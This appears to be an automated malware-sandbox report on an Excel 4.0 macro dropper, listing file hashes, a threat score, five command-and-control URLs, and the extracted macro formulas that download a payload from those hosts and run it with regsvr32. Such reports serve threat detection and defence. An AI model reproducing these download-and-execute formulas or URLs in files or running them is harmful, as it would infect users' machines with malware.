acf8c8e6a83950e68febbe3ade60a91f304e0bd1254607c3c11ab1d4cdb6ae6b

General

Target

acf8c8e6a83950e68febbe3ade60a91f304e0bd1254607c3c11ab1d4cdb6ae6b
Size

95KB
Sample

241119-x5k2la1apg
MD5

06ea4dffb7ab907b38f0ac0f855c8e2f
SHA1

20f54f314c20dfd173ed87692f06c564a54c1790
SHA256

acf8c8e6a83950e68febbe3ade60a91f304e0bd1254607c3c11ab1d4cdb6ae6b
SHA512

21147b81385625328c8a38a7f4288415a0c3813ce6d1eb4fb301b2ea3c449b8c3c094f284fa9475341f851334f16d4632652b89b0a65d164302227ff2d21ceca
SSDEEP

1536:C6ghqXvo8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVh9:C9iv38DsVhonV69o2bchgGaWBcpAk9

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/

https://makspeedtech.com/cgi-bin/6BuOTbA/

https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/

https://mbahauddin.com/v/2horjuyP/

https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/","..\wnu3.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://makspeedtech.com/cgi-bin/6BuOTbA/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mbahauddin.com/v/2horjuyP/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wnu3.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/

xlm40.dropper

https://makspeedtech.com/cgi-bin/6BuOTbA/

xlm40.dropper

https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/

xlm40.dropper

https://mbahauddin.com/v/2horjuyP/

xlm40.dropper

https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/